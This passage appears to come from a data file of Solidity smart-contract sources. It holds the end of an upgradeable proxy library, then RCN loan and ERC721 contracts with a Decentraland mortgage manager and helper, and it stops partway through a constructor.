* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
DC1
|
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "Sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
/**
@dev Transfers the ownership of the contract.
@param _to Address of the new owner
*/
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to 0x0");
owner = _to;
return true;
}
}
/**
@dev Defines the interface of a standard RCN oracle.
The oracle is an agent in the RCN network that supplies a convertion rate between RCN and any other currency,
it's primarily used by the exchange but could be used by any other agent.
*/
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
/**
@dev Returns the url where the oracle exposes a valid "oracleData" if needed
*/
function url() public view returns (string);
/**
@dev Returns a valid convertion rate from the currency given to RCN
@param symbol Symbol of the currency
@param data Generic data field, could be used for off-chain signing
*/
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
/**
@dev Adds a currency to the oracle, once added it cannot be removed
@param ticker Symbol of the currency
@return if the creation was done successfully
*/
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
/**
@return the currency encoded as a bytes32
*/
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
/**
@return the currency string from a encoded bytes32
*/
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
/**
@dev Defines the interface of a standard RCN cosigner.
The cosigner is an agent that gives an insurance to the lender in the event of a defaulted loan, the confitions
of the insurance and the cost of the given are defined by the cosigner.
The lender will decide what cosigner to use, if any; the address of the cosigner and the valid data provided by the
agent should be passed as params when the lender calls the "lend" method on the engine.
When the default conditions defined by the cosigner aligns with the status of the loan, the lender of the engine
should be able to call the "claim" method to receive the benefit; the cosigner can define aditional requirements to
call this method, like the transfer of the ownership of the loan.
*/
contract Cosigner {
uint256 public constant VERSION = 2;
/**
@return the url of the endpoint that exposes the insurance offers.
*/
function url() external view returns (string);
/**
@dev Retrieves the cost of a given insurance, this amount should be exact.
@return the cost of the cosign, in RCN wei
*/
function cost(address engine, uint256 index, bytes data, bytes oracleData) external view returns (uint256);
/**
@dev The engine calls this method for confirmation of the conditions, if the cosigner accepts the liability of
the insurance it must call the method "cosign" of the engine. If the cosigner does not call that method, or
does not return true to this method, the operation fails.
@return true if the cosigner accepts the liability
*/
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
/**
@dev Claims the benefit of the insurance if the loan is defaulted, this method should be only calleable by the
current lender of the loan.
@return true if the claim was done correctly.
*/
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
}
contract SafeWithdraw is Ownable {
/**
@dev Withdraws tokens from the contract.
@param token Token to withdraw
@param to Destination of the tokens
@param amountOrId Amount/ID to withdraw
*/
function withdrawTokens(Token token, address to, uint256 amountOrId) external onlyOwner returns (bool) {
require(to != address(0));
return token.transfer(to, amountOrId);
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
interface IERC721Receiver {
function onERC721Received(
address _oldOwner,
uint256 _tokenId,
bytes _userData
) external returns (bytes4);
}
contract ERC721Base {
using SafeMath for uint256;
uint256 private _count;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
//
// Global Getters
//
/**
* @dev Gets the total amount of assets stored by the contract
* @return uint256 representing the total amount of assets
*/
function totalSupply() external view returns (uint256) {
return _totalSupply();
}
function _totalSupply() internal view returns (uint256) {
return _count;
}
//
// Asset-centric getter functions
//
/**
* @dev Queries what address owns an asset. This method does not throw.
* In order to check if the asset exists, use the `exists` function or check if the
* return value of this call is `0`.
* @return uint256 the assetId
*/
function ownerOf(uint256 assetId) external view returns (address) {
return _ownerOf(assetId);
}
function _ownerOf(uint256 assetId) internal view returns (address) {
return _holderOf[assetId];
}
//
// Holder-centric getter functions
//
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) external view returns (uint256) {
return _balanceOf(owner);
}
function _balanceOf(address owner) internal view returns (uint256) {
return _assetsOf[owner].length;
}
//
// Authorization getters
//
/**
* @dev Query whether an address has been authorized to move any assets on behalf of someone else
* @param operator the address that might be authorized
* @param assetHolder the address that provided the authorization
* @return bool true if the operator has been authorized to move any assets
*/
function isApprovedForAll(address operator, address assetHolder)
external view returns (bool)
{
return _isApprovedForAll(operator, assetHolder);
}
function _isApprovedForAll(address operator, address assetHolder)
internal view returns (bool)
{
return _operators[assetHolder][operator];
}
/**
* @dev Query what address has been particularly authorized to move an asset
* @param assetId the asset to be queried for
* @return bool true if the asset has been approved by the holder
*/
function getApprovedAddress(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function _getApprovedAddress(uint256 assetId) internal view returns (address) {
return _approval[assetId];
}
/**
* @dev Query if an operator can move an asset.
* @param operator the address that might be authorized
* @param assetId the asset that has been `approved` for transfer
* @return bool true if the asset has been approved by the holder
*/
function isAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isAuthorized(operator, assetId);
}
function _isAuthorized(address operator, uint256 assetId) internal view returns (bool)
{
require(operator != 0, "Operator can't be 0");
address owner = _ownerOf(assetId);
if (operator == owner) {
return true;
}
return _isApprovedForAll(operator, owner) || _getApprovedAddress(assetId) == operator;
}
//
// Authorization
//
/**
* @dev Authorize a third party operator to manage (send) msg.sender's asset
* @param operator address to be approved
* @param authorized bool set to true to authorize, false to withdraw authorization
*/
function setApprovalForAll(address operator, bool authorized) external {
return _setApprovalForAll(operator, authorized);
}
function _setApprovalForAll(address operator, bool authorized) internal {
if (authorized) {
_addAuthorization(operator, msg.sender);
} else {
_clearAuthorization(operator, msg.sender);
}
emit ApprovalForAll(operator, msg.sender, authorized);
}
/**
* @dev Authorize a third party operator to manage one particular asset
* @param operator address to be approved
* @param assetId asset to approve
*/
function approve(address operator, uint256 assetId) external {
address holder = _ownerOf(assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder));
require(operator != holder);
if (_getApprovedAddress(assetId) != operator) {
_approval[assetId] = operator;
emit Approval(holder, operator, assetId);
}
}
function _addAuthorization(address operator, address holder) private {
_operators[holder][operator] = true;
}
function _clearAuthorization(address operator, address holder) private {
_operators[holder][operator] = false;
}
//
// Internal Operations
//
function _addAssetTo(address to, uint256 assetId) internal {
_holderOf[assetId] = to;
uint256 length = _balanceOf(to);
_assetsOf[to].push(assetId);
_indexOfAsset[assetId] = length;
_count = _count.add(1);
}
function _removeAssetFrom(address from, uint256 assetId) internal {
uint256 assetIndex = _indexOfAsset[assetId];
uint256 lastAssetIndex = _balanceOf(from).sub(1);
uint256 lastAssetId = _assetsOf[from][lastAssetIndex];
_holderOf[assetId] = 0;
// Insert the last asset into the position previously occupied by the asset to be removed
_assetsOf[from][assetIndex] = lastAssetId;
// Resize the array
_assetsOf[from][lastAssetIndex] = 0;
_assetsOf[from].length--;
// Remove the array if no more assets are owned to prevent pollution
if (_assetsOf[from].length == 0) {
delete _assetsOf[from];
}
// Update the index of positions for the asset
_indexOfAsset[assetId] = 0;
_indexOfAsset[lastAssetId] = assetIndex;
_count = _count.sub(1);
}
function _clearApproval(address holder, uint256 assetId) internal {
if (_ownerOf(assetId) == holder && _approval[assetId] != 0) {
_approval[assetId] = 0;
emit Approval(holder, 0, assetId);
}
}
//
// Supply-altering functions
//
function _generate(uint256 assetId, address beneficiary) internal {
require(_holderOf[assetId] == 0);
_addAssetTo(beneficiary, assetId);
emit Transfer(0x0, beneficiary, assetId);
}
function _destroy(uint256 assetId) internal {
address holder = _holderOf[assetId];
require(holder != 0);
_removeAssetFrom(holder, assetId);
emit Transfer(holder, 0x0, assetId);
}
//
// Transaction related operations
//
modifier onlyHolder(uint256 assetId) {
require(_ownerOf(assetId) == msg.sender, "Not holder");
_;
}
modifier onlyAuthorized(uint256 assetId) {
require(_isAuthorized(msg.sender, assetId), "Not authorized");
_;
}
modifier isCurrentOwner(address from, uint256 assetId) {
require(_ownerOf(assetId) == from, "Not current owner");
_;
}
/**
* @dev Alias of `safeTransferFrom(from, to, assetId, '')`
*
* @param from address that currently owns an asset
* @param to address to receive the ownership of the asset
* @param assetId uint256 ID of the asset to be transferred
*/
function safeTransferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", true);
}
/**
* @dev Securely transfers the ownership of a given asset from one address to
* another address, calling the method `onNFTReceived` on the target address if
* there's code associated with it
*
* @param from address that currently owns an asset
* @param to address to receive the ownership of the asset
* @param assetId uint256 ID of the asset to be transferred
* @param userData bytes arbitrary user information to attach to this transfer
*/
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external {
return _doTransferFrom(from, to, assetId, userData, true);
}
/**
* @dev Transfers the ownership of a given asset from one address to another address
* Warning! This function does not attempt to verify that the target address can send
* tokens.
*
* @param from address sending the asset
* @param to address to receive the ownership of the asset
* @param assetId uint256 ID of the asset to be transferred
*/
function transferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", false);
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
onlyAuthorized(assetId)
internal
{
_moveToken(from, to, assetId, userData, doCheck);
}
function _moveToken(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
isCurrentOwner(from, assetId)
internal
{
address holder = _holderOf[assetId];
_removeAssetFrom(holder, assetId);
_clearApproval(holder, assetId);
_addAssetTo(to, assetId);
if (doCheck && _isContract(to)) {
// Equals to bytes4(keccak256("onERC721Received(address,uint256,bytes)"))
bytes4 ERC721_RECEIVED = bytes4(0xf0b9e5ba);
require(
IERC721Receiver(to).onERC721Received(
holder, assetId, userData
) == ERC721_RECEIVED
, "Contract onERC721Received failed");
}
emit Transfer(holder, to, assetId);
}
/**
* Internal function that moves an asset from one holder to another
*/
/**
* @dev Returns `true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise
* @param _interfaceID The interface identifier, as specified in ERC-165
*/
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
if (_interfaceID == 0xffffffff) {
return false;
}
return _interfaceID == 0x01ffc9a7 || _interfaceID == 0x80ac58cd;
}
//
// Utilities
//
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract LandMarket {
struct Auction {
// Auction ID
bytes32 id;
// Owner of the NFT
address seller;
// Price (in wei) for the published item
uint256 price;
// Time when this sale ends
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
}
/**
@notice The contract is used to handle all the lifetime of a mortgage, uses RCN for the Loan and Decentraland for the parcels.
Implements the Cosigner interface of RCN, and when is tied to a loan it creates a new ERC721 to handle the ownership of the mortgage.
When the loan is resolved (paid, pardoned or defaulted), the mortgaged parcel can be recovered.
Uses a token converter to buy the Decentraland parcel with MANA using the RCN tokens received.
*/
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
using SafeMath for uint256;
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
function name() public pure returns (string _name) {
_name = "Decentraland RCN Mortgage";
}
function symbol() public pure returns (string _symbol) {
_symbol = "LAND-RCN-Mortgage";
}
event RequestedMortgage(uint256 _id, address _borrower, address _engine, uint256 _loanId, uint256 _landId, uint256 _deposit, address _tokenConverter);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
Token public rcn;
Token public mana;
Land public land;
LandMarket public landMarket;
constructor(Token _rcn, Token _mana, Land _land, LandMarket _landMarket) public {
rcn = _rcn;
mana = _mana;
land = _land;
landMarket = _landMarket;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
// ERC-721
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() external view returns (string) {
return "";
}
/**
@notice Sets a new third party creator
The third party creator can request loans for other borrowers. The creator should be a trusted contract, it could potentially take funds.
@param creator Address of the creator
@param authorized Enables or disables the permission
@return true If the operation was executed
*/
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
/**
@notice Returns the cost of the cosigner
This cosigner does not have any risk or maintenance cost, so its free.
@return 0, because it's free
*/
function cost(address, uint256, bytes, bytes) external view returns (uint256) {
return 0;
}
/**
@notice Requests a mortgage with a loan identifier
@dev The loan should exist in the designated engine
@param engine RCN Engine
@param loanIdentifier Identifier of the loan asociated with the mortgage
@param deposit MANA to cover part of the cost of the parcel
@param landId ID of the parcel to buy with the mortgage
@param tokenConverter Token converter used to exchange RCN - MANA
@return id The id of the mortgage
*/
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
/**
@notice Request a mortgage with a loan id
@dev The loan should exist in the designated engine
@param engine RCN Engine
@param loanId Id of the loan asociated with the mortgage
@param deposit MANA to cover part of the cost of the parcel
@param landId ID of the parcel to buy with the mortgage
@param tokenConverter Token converter used to exchange RCN - MANA
@return id The id of the mortgage
*/
function requestMortgageId(
Engine engine,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
// Validate the associated loan
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(msg.sender == engine.getBorrower(loanId) ||
(msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized");
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
// Get the current parcel cost
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
// We expect a 10% extra for convertion losses
// the remaining will be sent to the borrower
require((loanAmount + deposit) >= ((landCost / 10) * 11), "Not enought total amount");
// Pull the deposit and lock the tokens
require(mana.transferFrom(msg.sender, this, deposit));
// Create the liability
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
/**
@notice Cancels an existing mortgage
@dev The mortgage status should be pending
@param id Id of the mortgage
@return true If the operation was executed
*/
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
// Only the owner of the mortgage and if the mortgage is pending
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
// Transfer the deposit back to the borrower
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
/**
@notice Request the cosign of a loan
Buys the parcel and locks its ownership until the loan status is resolved.
Emits an ERC721 to manage the ownership of the mortgaged property.
@param engine Engine of the loan
@param index Index of the loan
@param data Data with the mortgage id
@param oracleData Oracle data to calculate the loan amount
@return true If the cosign was performed
*/
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
// The first word of the data MUST contain the index of the target mortgage
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
// Validate that the loan matches with the mortgage
// and the mortgage is still pending
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
// Update the status of the mortgage to avoid reentrancy
mortgage.status = Status.Ongoing;
// Mint mortgage ERC721 Token
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
// Transfer the amount of the loan in RCN to this contract
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
// Convert the RCN into MANA using the designated
// and save the received MANA
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
// Load the new cost of the parcel, it may be changed
uint256 currentLandCost;
(, , currentLandCost, ) = landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
// Buy the land and lock it into the mortgage contract
require(mana.approve(landMarket, currentLandCost));
flagReceiveLand = mortgage.landId;
landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(landMarket, 0));
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
// Calculate the remaining amount to send to the borrower and
// check that we didn't expend any contract funds.
uint256 totalMana = boughtMana.add(mortgage.deposit);
// Return rest of MANA to the owner
require(mana.transfer(mortgage.owner, totalMana.sub(currentLandCost)), "Error returning MANA");
// Cosign contract, 0 is the RCN required
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
// Save mortgage id registry
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
// Emit mortgage event
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
/**
@notice Converts tokens using a token converter
@dev Does not trust the token converter, validates the return amount
@param converter Token converter used
@param from Tokens to sell
@param to Tokens to buy
@param amount Amount to sell
@return bought Bought amount
*/
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount));
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0));
}
/**
@notice Claims the mortgage when the loan status is resolved and transfers the ownership of the parcel to which corresponds.
@dev Deletes the mortgage ERC721
@param engine RCN Engine
@param loanId Loan ID
@return true If the claim succeded
*/
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
// Validate that the mortgage wasn't claimed
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
// The mortgage is paid
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
// Transfer the parcel to the borrower
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
// The mortgage is defaulted
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
// Transfer the parcel to the lender
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
// ERC721 Delete asset
_destroy(mortgageId);
// Delete mortgage id registry
delete mortgageByLandId[mortgage.landId];
return true;
}
/**
@notice Defines a custom logic that determines if a loan is defaulted or not.
@param engine RCN Engines
@param index Index of the loan
@return true if the loan is considered defaulted
*/
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
/**
@dev An alternative version of the ERC721 callback, required by a bug in the parcels contract
*/
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
/**
@notice Callback used to accept the ERC721 parcel tokens
@dev Only accepts tokens if flag is set to tokenId, resets the flag when called
*/
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
/**
@dev Reads data from a bytes array
*/
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
/**
@notice Enables the owner of a parcel to update the data field
@param id Id of the mortgage
@param data New data
@return true If data was updated
*/
function updateLandData(uint256 id, string data) external returns (bool) {
Mortgage memory mortgage = mortgages[id];
require(_isAuthorized(msg.sender, id), "Sender not authorized");
int256 x;
int256 y;
(x, y) = land.decodeTokenId(mortgage.landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
/**
@dev Replica of the convertRate function of the RCN Engine, used to apply the oracle rate
*/
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return (amount.mult(rate).mult((10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
}
interface NanoLoanEngine {
function createLoan(address _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256);
function getIdentifier(uint256 index) public view returns (bytes32);
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool);
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool);
function rcn() public view returns (Token);
function getOracle(uint256 index) public view returns (Oracle);
function getAmount(uint256 index) public view returns (uint256);
function getCurrency(uint256 index) public view returns (bytes32);
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public view returns (uint256);
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
}
/**
@notice Set of functions to operate the mortgage manager in less transactions
*/
contract MortgageHelper is Ownable {
using SafeMath for uint256;
MortgageManager public mortgageManager;
NanoLoanEngine public nanoLoanEngine;
Token public rcn;
Token public mana;
LandMarket public landMarket;
TokenConverter public tokenConverter;
address public converterRamp;
address public manaOracle;
uint256 public requiredTotal = 110;
uint256 public rebuyThreshold = 0.001 ether;
uint256 public marginSpend = 100;
uint256 public maxSpend = 100;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
event NewMortgage(address borrower, uint256 loanId, uint256 landId, uint256 mortgageId);
event PaidLoan(address engine, uint256 loanId, uint256 amount);
event SetConverterRamp(address _prev, address _new);
event SetTokenConverter(address _prev, address _new);
event SetRebuyThreshold(uint256 _prev, uint256 _new);
event SetMarginSpend(uint256 _prev, uint256 _new);
event SetMaxSpend(uint256 _prev, uint256 _new);
event SetRequiredTotal(uint256 _prev, uint256 _new);
constructor(
MortgageManager _mortgageManager,
NanoLoanEngine _nanoLoanEngine,
Token _rcn,
Token _mana,
LandMarket _landMarket,
address _manaOracle,
TokenConverter _tokenConverter,
address _converterRamp
) public {
mortgageManager = _mortgageManager;
nanoLoanEngine = _nanoLoanEngine;
rcn = _rcn;
mana = _mana;
landMarket = _landMarket;
manaOracle = _manaOracle;
tokenConverter = _tokenConverter;
converterRamp = _converterRamp;
